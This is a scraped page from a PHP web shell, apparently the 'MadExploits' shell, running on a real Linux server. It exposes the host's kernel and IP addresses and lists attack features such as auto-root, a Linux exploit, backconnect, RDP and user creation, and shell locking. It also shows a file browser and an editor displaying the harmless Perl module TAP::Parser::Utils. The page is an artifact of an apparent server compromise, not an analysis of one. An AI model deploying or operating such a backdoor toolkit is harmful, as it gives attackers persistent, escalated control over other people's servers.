Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.135.194.138
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
TAP /
Parser /
[ HOME SHELL ]
Name
Size
Permission
Action
Iterator
[ DIR ]
drwxr-xr-x
Result
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
SourceHandler
[ DIR ]
drwxr-xr-x
YAMLish
[ DIR ]
drwxr-xr-x
Aggregator.pm
9.06
KB
-rw-r--r--
Grammar.pm
15.34
KB
-rw-r--r--
Iterator.pm
2.98
KB
-rw-r--r--
IteratorFactory.pm
7.92
KB
-rw-r--r--
Multiplexer.pm
4.19
KB
-rw-r--r--
Result.pm
6.05
KB
-rw-r--r--
ResultFactory.pm
4.17
KB
-rw-r--r--
Scheduler.pm
11.28
KB
-rw-r--r--
Source.pm
9.36
KB
-rw-r--r--
SourceHandler.pm
5.12
KB
-rw-r--r--
Utils.pm
1.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Utils.pm
package TAP::Parser::Utils; use strict; use Exporter; use vars qw($VERSION @ISA @EXPORT_OK); @ISA = qw( Exporter ); @EXPORT_OK = qw( split_shell ); =head1 NAME TAP::Parser::Utils - Internal TAP::Parser utilities =head1 VERSION Version 3.28 =cut $VERSION = '3.28'; =head1 SYNOPSIS use TAP::Parser::Utils qw( split_shell ) my @switches = split_shell( $arg ); =head1 DESCRIPTION B<FOR INTERNAL USE ONLY!> =head2 INTERFACE =head3 C<split_shell> Shell style argument parsing. Handles backslash escaping, single and double quoted strings but not shell substitutions. Pass one or more strings containing shell escaped arguments. The return value is an array of arguments parsed from the input strings according to (approximate) shell parsing rules. It's legal to pass C<undef> in which case an empty array will be returned. That makes it possible to my @args = split_shell( $ENV{SOME_ENV_VAR} ); without worrying about whether the environment variable exists. This is used to split HARNESS_PERL_ARGS into individual switches. =cut sub split_shell { my @parts = (); for my $switch ( grep defined && length, @_ ) { push @parts, $1 while $switch =~ / ( (?: [^\\"'\s]+ | \\. | " (?: \\. | [^"] )* " | ' (?: \\. | [^'] )* ' )+ ) /xg; } for (@parts) { s/ \\(.) | ['"] /defined $1 ? $1 : ''/exg; } return @parts; } 1;
Close